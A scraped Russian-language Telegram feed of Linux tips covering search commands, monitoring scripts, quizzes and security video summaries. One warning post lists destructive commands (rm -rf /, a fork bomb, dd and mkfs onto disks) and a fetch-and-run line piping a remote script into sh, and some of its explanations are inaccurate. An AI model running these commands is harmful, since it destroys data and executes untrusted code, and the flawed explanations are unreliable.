Linux Skill - Освой Linux c нуля до DevOps – Telegram
Linux Skill - Освой Linux c нуля до DevOps
11.3K subscribers
67 photos
103 videos
499 links
Освой Linux c нуля до DevOps
Подробный гайд по Linux и море других уроков для системных администраторов

📩 По всем вопросам: @chorapov

РКН https://vk.cc/cMUwm4
Download Telegram
🔍 Самый популярный вопрос по Linux на StackOverflow: 11,7 миллионов просмотров!

Вопрос: Как найти все файлы, содержащие определенный текст (строку) на Linux?

Если ты когда-либо задавался вопросом, как найти все файлы, содержащие определенный текст на Linux, то вот решение, которое стало невероятно популярным на StackOverflow:


grep -rnw '/path/to/somewhere/' -e 'pattern'


Объяснение параметров:
- -r или -R — рекурсивный поиск.
- -n — вывод номера строки.
- -w — поиск точного совпадения слова.
- -l — вывод только имени файла, содержащего совпадение.
- -e — шаблон, используемый для поиска.

Дополнительные флаги для более эффективного поиска:

1. Поиск только в файлах с расширениями .c или .h:

grep --include=\*.{c,h} -rnw '/path/to/somewhere/' -e "pattern"


2. Исключение файлов с расширением .o:

grep --exclude=\*.o -rnw '/path/to/somewhere/' -e "pattern"


3. Исключение директорий dir1/, dir2/ и всех, соответствующих *.dst/:

grep --exclude-dir={dir1,dir2,*.dst} -rnw '/path/to/search/' -e "pattern"


Эти команды помогут тебе эффективно искать нужные файлы и исключать ненужные. Для получения дополнительных опций, ознакомься с man grep.

Советы от сообщества:
- Используй --exclude, чтобы исключить файлы, например: grep -rnw --exclude=*.o 'directory' -e "pattern".
- -r и -R могут работать по-разному в зависимости от реализации grep.
- Кавычки в командах важны, особенно для новичков.
- Добавь -I, чтобы пропустить все бинарные файлы.
- Для более широкого поиска используй -rni для игнорирования регистра.

Эти советы помогут тебе стать мастером поиска в Linux! Делись своими успехами и задавай вопросы в комментариях. 🚀

Ветка: https://stackoverflow.com/questions/16956810/find-all-files-containing-a-specific-text-string-on-linux

📩 Завтра: 🚀 Как использовать Ansible для автоматизации установки и настройки веб-сервера Apache под Linux
Включи 🔔 чтобы не пропустить!
________________

Дополнительный материал:
🧠 - Защита данных в Linux: Как обойти ограничения файловой системы
🧠 - Все, что вам нужно знать о команде ar в Linux
🧠 - SELinux: От Секретного Проекта до Корпоративного Стража


tags: #linux #grep #search #tips #stackoverflow @LinuxSkill
👍18🔥7
Media is too big
VIEW IN TELEGRAM
🎥 Как использовать Ansible для автоматизации установки и настройки веб-сервера Apache под Linux

00:10 Введение и цели мастер-класса

01:05 Марафон по DevOps и кибербезопасности

02:58 Введение в Ansible

04:50 Архитектура и использование Ansible

06:39 Написание Playbook

10:30 Рекомендации по использованию Ansible

13:19 Лабораторная работа и завершение

15:10 Проверка подключения по SSH

16:06 Файл конфигурации Ansible

17:57 Подключение по ключу

19:49 Файл hosts

22:33 Файл конфигурации Ansible

24:27 Проблемы с подключением

32:20 Решение проблем с подключением

37:26 Написание плейбука

38:23 Создание простого плейбука

40:10 Проверка и запуск плейбука

42:00 Развёртывание веб-сервера

48:05 Настройка и запуск веб-сервера

53:13 Усложнение задачи

57:49 Исправление ошибок и перезапуск Apache

58:44 Замена Virtual Host в файле

01:01:42 Проверка и запуск тасков

01:04:51 Автоматизация развертывания серверов

01:06:41 Вопросы и приглашение на курсы

01:09:52 Тестирование инфраструктуры и кибербезопасность

Источник: https://www.youtube.com/watch?v=7KocKP-twSw

📩 Завтра: Вопрос №6 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
________________

Дополнительный материал:
🧠 - Linux Mastery: Настройка разрешений каталогов с помощью chmod
🧠 - Разгадываем тайны архитектуры: Что такое i686 в Ubuntu
🧠 - От RPM до Snap: Путешествие через эволюцию систем управления пакетами

#Linux_youtube @LinuxSkill #Apache #Ansible #DevOps
🔥9👍3
Вопрос №6 из теста Linux Essentials Certification: Какая из следующих программ не является графическим веб-браузером?
Anonymous Quiz
2%
Firefox
1%
Chrome
69%
Links
28%
Konqueror
0%
Opera
👍5👀5
🔍 Как рекурсивно найти все файлы в текущей и поддиректориях с использованием шаблонов?

Если ты ищешь способ найти все файлы, соответствующие определенному шаблону, в текущей директории и всех поддиректориях, используй команду find:


find . -name "foo*"


Объяснение:
- find требует начальную точку поиска, поэтому . (точка) указывает на текущую директорию.
- "foo*" — это шаблон, который указывает find искать все файлы, начинающиеся с "foo".

Дополнительные возможности:
- Для поиска без учета регистра используй:

find . -iname "foo*"

- Если ты не хочешь получать уведомления об ошибках доступа к директориям, используй:

find . -name "foo*" 2>/dev/null

- Чтобы искать только файлы, исключая директории, добавь -type f:

find . -name "foo*" -type f


Советы:
- Обязательно используй кавычки вокруг шаблона, чтобы избежать его расширения оболочкой перед передачей в find.
- Если у тебя есть символические ссылки, и ты хочешь их обрабатывать, добавь опцию -L.

Ветка: https://stackoverflow.com/questions/5905054/how-can-i-recursively-find-all-files-in-current-and-subfolders-based-on-wildcard

📩 Завтра: Darling: Запускай MacOS приложения на Linux как профи!
Включи 🔔 чтобы не пропустить!
________________

Дополнительный материал:
🧠 - Linux Deep Dive: Разбираемся с UID и группами
🧠 - Как использовать команду basename для упрощения ваших скриптов Bash
🧠 - От простого до грандиозного: Путешествие Kubernetes в мире контейнеризации

tags: #linux #find #search #tips #stackoverflow @LinuxSkill
👍19🔥2
🚀 Darling: Запускай MacOS приложения на Linux как профи!

Если ты когда-нибудь мечтал запускать MacOS приложения на Linux, то Darling — это то, что тебе нужно. Это как Wine, но для MacOS. Давай разберемся, как это работает!

Darling позволяет запускать MacOS приложения в режиме трансляции. Пока графические приложения в экспериментальном режиме, но уже можно устанавливать из .pkg и DMG. Проект полностью Open Source под лицензией GPL3.

Как установить Darling:

1. Клонируем репозиторий:

git clone https://github.com/darlinghq/darling.git
cd darling


2. Устанавливаем зависимости:

sudo apt-get install cmake clang bison flex libfuse-dev libudev-dev pkg-config libc6-dev-i386


3. Собираем проект:

./build.sh


4. Запускаем Darling:

sudo ./darling shell


Теперь ты можешь попробовать запускать MacOS приложения на своем Linux.

📩 Завтра: 🎥 Как использовать Ansible для автоматизации настройки и резервного копирования конфигурации устройств
Включи 🔔 чтобы не пропустить!
________________

Дополнительный материал:
🧠 - Linux Mastery: Управление разрешениями каталогов с помощью chmod
🧠 - Станьте мастером управления пользователями и группами в Linux с помощью команд adduser и addgroup
🧠 - От первого контейнера до мощного Swarm: Путешествие Docker в мире DevOps
👍17
Media is too big
VIEW IN TELEGRAM
🎥 Как использовать Ansible для автоматизации настройки и резервного копирования конфигурации устройств

00:08 Введение и знакомство
01:30 Марафон и планы
03:01 Важность автоматизации
04:19 Инструменты для автоматизации
06:10 Архитектура и использование Ansible
07:36 Плейбуки и их структура
10:15 Настройка и тестирование
12:07 Структура файла hosts
13:56 Настройка IP-адреса и аутентификации
15:19 Файл конфигурации Ansible
17:41 Локальная конфигурация
22:28 Настройка плейбука
24:19 Пример плейбука
29:17 Сохранение и использование плейбука
30:10 Формат файла и отступы
32:54 Запуск плейбука и проверка ошибок
35:29 Проверка бэкапа и использование Git
39:31 Автоматическая конфигурация
40:04 Настройка IP-адреса
44:14 Проверка и сохранение конфигурации
46:16 Настройка команд в CICD
47:15 Проверка и сохранение конфигурации
49:16 Запуск и проверка конфигурации
51:11 Преимущества использования CICD
53:06 Нюансы настройки IPv6 и IPv4
56:06 Автоматизация и управление конфигурациями
58:29 Важность песочницы и виртуализации

📩 Завтра: Как изменить цвет вывода команды echo в Linux?
Включи 🔔 чтобы не пропустить!
________________

Дополнительный материал:
🧠 - Углубляемся в безопасность Linux: Специальные режимы и их мощь!
🧠 - Разгадываем тайны команды "Apropos": Ваш ключ к миру Linux Man Pages
🧠 - От первого файла до UFS: Эпическое путешествие файловой системы в Linux
👍13
🎨 Как изменить цвет вывода команды echo в Linux?

Хочешь добавить немного цвета в свои скрипты? Используй ANSI escape-коды, чтобы изменить цвет текста в терминале! Вот как это сделать:

Коды цветов:
- Черный: 0;30, Темно-серый: 1;30
- Красный: 0;31, Светло-красный: 1;31
- Зеленый: 0;32, Светло-зеленый: 1;32
- Коричневый/Оранжевый: 0;33, Желтый: 1;33
- Синий: 0;34, Светло-синий: 1;34
- Фиолетовый: 0;35, Светло-фиолетовый: 1;35
- Голубой: 0;36, Светло-голубой: 1;36
- Светло-серый: 0;37, Белый: 1;37

Пример использования:

RED='\033[0;31m'
NC='\033[0m' # Без цвета
printf "I ${RED}love${NC} Stack Overflow\n"


Совет: Если используешь echo, добавь флаг -e для обработки escape-последовательностей:

echo -e "I ${RED}love${NC} Stack Overflow"


Замечания:
- Используй кавычки, чтобы избежать расширения шаблонов.
- На MacOSX вместо \e используй \x1B.
- Цвета зависят от конфигурации терминала, так что результат может различаться.

Теперь ты знаешь, как добавить немного цвета в свои скрипты! 🎨

Ветка: https://stackoverflow.com/questions/5947742/how-to-change-the-output-color-of-echo-in-linux

📩 Завтра: Неожиданные секреты Linux: 12 утилит, которые спасут твой сервер!
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Освежаем Linux Skills: Как удалить особые режимы разрешений?
🧠 - Станьте мастером правописания в Linux с помощью команды Aspell
🧠 - Путь дистрибутивов на базе Gentoo от Calculate Linux до Sabayon

@LinuxSkill #echo #stackoverflow
👍8🔥7
🔥 Неожиданные секреты Linux: 12 утилит, которые спасут твой сервер!

Привет, повелитель терминала! 🖥️ Сегодня я расскажу тебе о мощных утилитах для траблшутинга в Linux, которые помогут быстро диагностировать и решать проблемы на сервере. Давай разберемся, что и как использовать!

Основные утилиты для траблшутинга:

1. top и htop:
   top
htop

- Показывают информацию о системных процессах в реальном времени, включая использование CPU, памяти и дискового ввода-вывода.

2. ps:
   ps aux

- Показывает список активных процессов.

3. netstat и ss:
   netstat -tuln
ss -tuln

- Показывают сетевые соединения, таблицы маршрутизации и другую сетевую информацию.

4. lsof:
   lsof
lsof -i :80

- Показывает открытые файлы и порты.

5. df и du:
   df -h
du -sh /var/log/*

- Показывают информацию о дисковом пространстве.

6. ping и traceroute:
   ping google.com
traceroute google.com

- Используются для диагностики сетевых проблем.

7. curl и wget:
   curl -I https://www.example.com
wget https://www.example.com/file.zip

- Используются для отправки HTTP-запросов и загрузки файлов.

8. journalctl:
   journalctl -xe
journalctl -u nginx.service

- Используется для просмотра системных журналов.

9. dmesg:
   dmesg | grep error

- Показывает сообщения ядра.

10. strace:
bash
strace -p <PID>

- Трассирует системные вызовы и сигналы.

11. tcpdump:
bash
tcpdump -i eth0

- Анализатор сетевых пакетов.

12. vmstat и iostat:
bash
vmstat 1
iostat 1

- Показывают статистику виртуальной памяти и ввода-вывода.

Эти утилиты — твои лучшие друзья в мире Linux. Используй их, чтобы быстро находить и устранять проблемы. Ставь 👍 и забирай 📚 Базу знаний!

📩 Завтра: 🎥 15 малоизвестных команд Linux
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Разблокируем Linux: Управление разрешениями файлов с символическим представлением
🧠 - Мастерство использования команды Ar в Linux: Создание и управление архивами
🧠 - От rsyslog до Graylog: Путешествие через эволюцию систем управления журналами

#Linux_Mastery @LinuxSkill #curl #wget #journalctl #ping #traceroute #df #du #lsof
👍42
Media is too big
VIEW IN TELEGRAM
🎥 Открой для себя 15 малоизвестных команд LINUX, которые изменят твою жизнь!

Ты думаешь, что знаешь все о Linux? Подумай еще раз! В этом видео мы раскроем 15 скрытых жемчужин командной строки, которые не только упростят твою жизнь, но и сэкономят драгоценное время. От анализа дискового пространства с помощью ncdu до интерактивного поиска с fzf — эти команды станут твоими новыми лучшими друзьями в мире Linux.

Источник: https://www.youtube.com/watch?v=O1gAq4pCk0s

📩 Завтра: Вопрос №7 из теста Linux Essentials Certification:
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Улучшаем Linux Skills: Мастерство символического представления разрешений с chmod
🧠 - Знаете ли вы, как узнать архитектуру вашей машины в Linux
🧠 - Открытие Ansible: Как простой инструмент стал гигантом управления конфигурациями

#Linux_youtube @LinuxSkill
👍9🔥6👀1
Вопрос №7 из теста Linux Essentials Certification: Какая из следующих команд может быть использована для извлечения файлов из архива?
Anonymous Quiz
6%
tar -evf
4%
tar -v
72%
tar -xvf
2%
tar -vf
16%
tar -e
👍20
🛠️ Как удалить экспортированную переменную окружения в Linux?

Если тебе нужно удалить экспортированную переменную окружения, команда unset — это то, что тебе нужно:

unset GNUPLOT_DRIVER_DIR


Важно знать:
- Эта команда удаляет переменную только для текущей сессии терминала. При открытии нового окна терминала переменные загружаются из таких файлов, как ~/.bashrc или ~/.profile.
- Если переменная автоматически устанавливается при каждом запуске терминала, попробуй найти её в скрытых файлах домашней директории. Используй команду:
  grep -r <имя_переменной> ~

Это может занять время, если у тебя много файлов.

Как сохранить значение переменной, но убрать экспорт:
- В bash можно использовать:
typenoscript
  declare +x MYVAR

или

  export -n MYVAR


Удаление переменной в разных сессиях:
- Нет команды, которая бы удалила переменную во всех существующих сессиях. Лучше найти файл инициализации, где она устанавливается, и отредактировать его, чтобы переменная не устанавливалась в будущих сессиях.

Ветка: https://stackoverflow.com/questions/6877727/how-do-i-delete-an-exported-environment-variable

📩 Завтра: Твой незаменимый помощник: Скрипт для мониторинга Linux!
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Улучшаем Linux Skills: Мастерство символического представления разрешений с chmod
🧠 - Знаете ли вы, как узнать архитектуру вашей машины в Linux
🧠 - Открытие Ansible: Как простой инструмент стал гигантом управления конфигурациями

#stackoverflow @LinuxSkill #Linux #EnvironmentVariables #Bash #Tips #Automation
👍13
🚀 Твой незаменимый помощник: Скрипт для мониторинга Linux!

Привет, повелитель терминала! 🖥️ Сегодня я поделюсь с тобой скриптом, который поможет тебе следить за производительностью твоей Linux-системы. Этот инструмент быстро оценит состояние системы и выявит узкие места. Давай посмотрим, как он работает!

Скрипт для мониторинга:

#!/bin/bash
# Colors for readability
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
RED='\033[0;31m'
NC='\033[0m' # No Color
echo -e "${GREEN}===== System Monitoring Script =====${NC}"

# 1. CPU Usage
echo -e "${YELLOW}\n>> CPU Usage: ${NC}"
mpstat | awk '/all/ {print "CPU Load: " $3 "% idle"}'

# 2. Memory Usage
echo -e "${YELLOW}\n>> Memory Usage: ${NC}"
free -h | awk '/Mem/ {print "Total Memory: " $2 "\nUsed: " $3 "\nFree: " $4}'
echo -e "Swap:\n"$(free -h | awk '/Swap/ {print "Total: " $2 ", Used: " $3 ", Free: " $4}')

# 3. Disk Usage
echo -e "${YELLOW}\n>> Disk Usage: ${NC}"
df -h | grep '^/dev' | awk '{print $1 ": " $5 " used, " $4 " available"}'

# 4. Network Traffic
echo -e "${YELLOW}\n>> Network Traffic: ${NC}"
ifstat -i eth0 1 1 | awk 'NR==3 {print "RX: " $1 " KB/s, TX: " $2 " KB/s"}'

# 5. Top 5 Memory Consuming Processes
echo -e "${YELLOW}\n>> Top 5 Memory Consuming Processes: ${NC}"
ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%mem | head -n 6

# 6. Top 5 CPU Consuming Processes
echo -e "${YELLOW}\n>> Top 5 CPU Consuming Processes: ${NC}"
ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%cpu | head -n 6

# 7. System Logs Monitoring
echo -e "${YELLOW}\n>> Recent Errors in System Logs: ${NC}"
journalctl -p 3 -xb | tail -n 10

echo -e "${GREEN}===== Monitoring Completed =====${NC}"


Что делает этот скрипт?

1. CPU Usage: Показывает загрузку процессора.
2. Memory Usage: Отображает использование оперативной памяти и swap.
3. Disk Usage: Информирует о занятом и доступном дисковом пространстве.
4. Network Traffic: Показывает входящий и исходящий трафик.
5. Top 5 Memory Consuming Processes: Выводит процессы, потребляющие больше всего памяти.
6. Top 5 CPU Consuming Processes: Выводит процессы, потребляющие больше всего CPU.
7. System Logs Monitoring: Показывает последние ошибки в системных логах.

Этот скрипт — твой надежный помощник в мониторинге системы. Запускай его, чтобы всегда быть в курсе состояния твоего сервера.

📩 Завтра: Открой секреты защиты от DDoS-атак с помощью экспертов!
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Управление Особыми Режимами в Linux: Разблокировка Доступа с chmod
🧠 - Разбираемся с командой Basename: Ваш ключ к упрощению работы с файлами в Linux
🧠 - От MythTV до LibreELEC: Как Linux Перевернул Мир Мультимедиа

#Linux_Mastery @LinuxSkill #Linux #Bash #Monitoring
👍31🔥8
🛡️ Открой секреты защиты от DDoS-атак с помощью экспертов!

Ты готов узнать, как защитить свою компанию от DDoS-атак? В этом захватывающем видео мы погружаемся в мир кибербезопасности и раскрываем стратегии, которые помогут тебе противостоять самым сложным угрозам.

Видео 1 от Kaspersky: Экспертно: Как защитить компанию от DDoS
- 00:00: Узнай, как школьники используют DDoS для атак на электронные дневники.
- 01:22: Понимание DDoS-атак и их использование для промышленного шпионажа.
- 11:44: Как лидеры отрасли, такие как Cisco, предлагают решения для защиты.
Источник: https://www.youtube.com/watch?v=mftFn-2g2aE

Видео 2: Защита от DoS-атак с помощью Nginx
- 00:00: Простая защита от DDoS-атак с использованием Nginx.
- 02:36: Настройка Nginx для оптимизации работы сервера.
- 14:59: Фильтрация ботов и защита от нежелательных соединений.
Источник: https://www.youtube.com/watch?v=S5kB0_mACJQ

Видео 3: Как защититься от DDoS-атаки по IP адресу?
- 00:06: Практическое применение DDoS-атак по IP-адресу.
- 01:49: Реализация атаки и её ограничения.
- 03:27: Советы по безопасности и легальному заработку.
Источник: https://www.youtube.com/watch?v=-nnTDnpTIjU

Не пропусти возможность узнать, как защитить свой бизнес от киберугроз!

📩 Завтра: Как найти различия между двумя деревьями каталогов в Linux?
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Linux Skills Boost: Настройка разрешений для групп файлов с chmod
🧠 - Упаковываем и сжимаем: Мастер-класс по bzip2 в Linux
🧠 - История Reiser4: Как она изменила мир Linux

#Linux_youtube @LinuxSkill #Linux #DDoS #Nginx #Kaspersky
👍14
🔍 Как найти различия между двумя деревьями каталогов в Linux?

Ты когда-нибудь задумывался, как быстро сравнить содержимое двух директорий и выявить различия? Сегодня мы расскажем, как это сделать с помощью команды diff в Linux.

Чтобы сравнить два дерева каталогов и найти различия в содержимом файлов, используй команду diff с флагами -qr:

diff -qr dir1/ dir2/


- -q или --brief — выводит только информацию о различиях, без детального сравнения.
- -r или --recursive — рекурсивно обходит все подкаталоги.

Если ты хочешь увидеть различия для файлов, которые могут отсутствовать в одной из директорий, добавь флаг -N:

diff -qrN dir1/ dir2/


Используя эти команды, ты сможешь легко и быстро выявить различия между двумя директориями, что особенно полезно при управлении версиями и контроле изменений. Попробуй сам и убедись, насколько это удобно!

🌳 Ветка: https://stackoverflow.com/questions/4997693/given-two-directory-trees-how-can-i-find-out-which-files-differ-by-content

📩 Завтра: 18 команд которые должен знать каждый линуксоид!
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Мастерство использования команды chown для смены владельца файлов и каталогов
🧠 - Станьте Мастером Календаря в Linux с Cal и NCal
🧠 - Станьте Мастером Управления Пользователями в Linux

#stackoverflow @LinuxSkill #Linux #Diff #DirectoryComparison #SysAdmin #DevOps
👍23
🔍 Открой секреты своей системы: 18 команд которые должен знать каждый линуксоид!

Привет, линукс-мастер! Сегодня я расскажу тебе о полезных командах, которые помогут быстро получить сведения о системе и активности пользователей. Эти команды — твои лучшие друзья в мире Linux. Давай разберемся, что и как использовать!

Основные команды для мониторинга:

1. Системная информация:
   date        # Текущая дата и время
cal # Календарь на текущий месяц
uptime # Время с момента последней загрузки ОС
uname -a # Все сведения о системе
uname -vr # Номер выпуска ОС и версия ядра


2. Активность пользователей:
   w           # Сведения о зарегистрированных пользователях
users # Список имен вошедших пользователей
last # История входов пользователей
lastlog # Время последнего входа всех пользователей
whoami # Имя текущего пользователя
finger user # Информация о пользователе


3. Использование ресурсов:
   df          # Использование дисков
du # Использование текущего каталога
free # Использование реальной и виртуальной памяти


4. Поиск и справка:
   whatis app  # Краткая информация об app
whereis app # Местоположение исполняемого модуля app
which app # Исполняемый модуль по умолчанию
man command # Справочная информация для команды


Эти команды помогут тебе быстро ориентироваться в системе и управлять ею. Попробуй их в действии и делись своими успехами!

📩 Завтра: Никогда не запускай эти 11 команд в Linux!
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Меняем владельца файлов в Linux с помощью chown: Пошаговое руководство!
🧠 - Установка Разрешений по Умолчанию в Linux с umask: Ваш Путеводитель!
🧠 - Станьте Гуру Управления Загрузчиком GRUB с LinuxSkill

#Linux_Commands @LinuxSkill
👍29
⚠️ Осторожно: Никогда не запускай эти 11 команд в Linux!

Привет, линукс-мастер! 🖥️ Сегодня я расскажу тебе о командах, которые могут нанести серьезный ущерб твоей системе. Эти команды лучше никогда не запускать, если ты не хочешь потерять данные или столкнуться с проблемами безопасности. Давай разберемся, что и почему стоит избегать!

Опасные команды:

1. rm -rf /:
- Удаляет все файлы и папки на компьютере. Полная потеря данных.

2. :(){ :|: & };::
- Известная как "fork bomb", может вызвать переполнение памяти и аварийное завершение системы.

3. mkfs.ext4 /dev/sda:
- Форматирует жесткий диск без предупреждения. Все данные будут утеряны.

4. dd if=/dev/random of=/dev/sda:
- Перезаписывает данные на жестком диске случайными значениями, что приводит к потере данных.

5. chmod 777 /:
- Открывает полный доступ к файловой системе для всех пользователей, что может нарушить безопасность.

6. **mv /home/* /dev/null**:
- Перемещает все файлы из домашней директории в "null", что приводит к их потере.

7. wget http://example.com/file -O /dev/null:
- Загружает файл и перезаписывает данные в "null", что приводит к потере данных.

8. mkfs.ext4 /dev/sda1:
- Форматирует раздел жесткого диска без предупреждения. Все данные на разделе будут утеряны.

9. ln -s /dev/null /etc/passwd:
- Создает символическую ссылку на "/etc/passwd" в "null", что приводит к потере данных.

10. echo "Hello" > /dev/sda:
- Заменяет раздел, содержащий данные для загрузки системы, строкой «Hello».

11. wget http://malicious_source -O- | sh:
- Загружает и запускает вредоносные сценарии, которые могут подорвать безопасность системы.

Эти команды могут нанести непоправимый ущерб твоей системе. Будь осторожен и всегда проверяй команды перед их выполнением. Береги свои данные и безопасность!

📩 Завтра: Вопрос №8 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________

Дополнительный материал:
🧠 - Глубокое Погружение в Жесткие Ссылки: Создание и Управление в Linux
🧠 - Мастер-класс по Сокрытию Файлов и Каталогов в Linux: Станьте Невидимкой
🧠 - Создание Ссылок в Linux: Символические и Жесткие Пути к Управлению Данными

#Linux_Mastery @LinuxSkill
👍23🔥22👎1
Вопрос №8 из теста Linux Essentials Certification: Какой из следующих файлов содержит определение локальных учетных записей пользователей?
Anonymous Quiz
2%
/etc/secret
3%
/etc/id
7%
/etc/home
33%
/etc/users
55%
/etc/passwd
👍7
Media is too big
VIEW IN TELEGRAM
🔐 Защита SSH-сервера: порты, ключи и iptables

Хочешь узнать, как защитить свой SSH-сервер от несанкционированного доступа? В этом видео мы расскажем о лучших практиках, включая порт-нокинг, использование ключей и настройку iptables.

1. Введение в порт-нокинг (00:00):
- Порт-нокинг скрывает открытые порты, делая их доступными только через правильные комбинации стуков. Это как дверь без замочной скважины, которая открывается только при правильной комбинации.

2. Порты и ключи в сетевых протоколах (00:58):
- Порты позволяют нескольким программам работать одновременно. Например, SSH и веб-сервер используют разные порты для разграничения запросов.

3. Защита SSH-сервера (02:39):
- Замена стандартного порта SSH на нестандартный и использование ключей вместо паролей для повышения безопасности.

4. Настройка iptables (15:51):
- Установка и настройка iptables для управления входящими и исходящими соединениями. Это помогает защитить сервер от несанкционированного доступа.

5. Проверка безопасности (22:24):
- Проверка, что порт 45916 не отличается от других, и сканеры портов не могут определить наличие SSH-сервера.

6. Доступ к серверу (23:57):
- Использование утилиты nmp для доступа к серверу через правильные порты.

Заключение (28:30): Порт сервера закрыт снаружи, но доступен при правильном постукивании. Надеемся, что видео было полезным. Ставьте лайки и подписывайтесь на канал!

Источник: https://www.youtube.com/watch?v=5TCvRlD1sSw

📩 Завтра: Вопрос №9 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
________________

Дополнительный материал:
🧠 - Linux и Команды Выключения: Сцена для systemctl
🧠 - Путешествие по команде shutdown
🧠 - Как настроить и использовать Ctrl+Alt+Delete в Linux для надежной перезагрузки

#Linux_youtube @LinuxSkill #Linux #SSH #Security #PortKnocking #Iptables #SysAdmin #DevOps
👍18🔥6
Вопрос №9 из теста Linux Essentials Certification: Какая из следующих версий Ubuntu считается наиболее стабильной и подходящей для использования в бизнес-целях?
Anonymous Quiz
6%
Kubuntu
71%
LTS
7%
Ubuntu Vanilla
4%
Xubuntu
11%
Xubuntu Server
👍22👎7👀5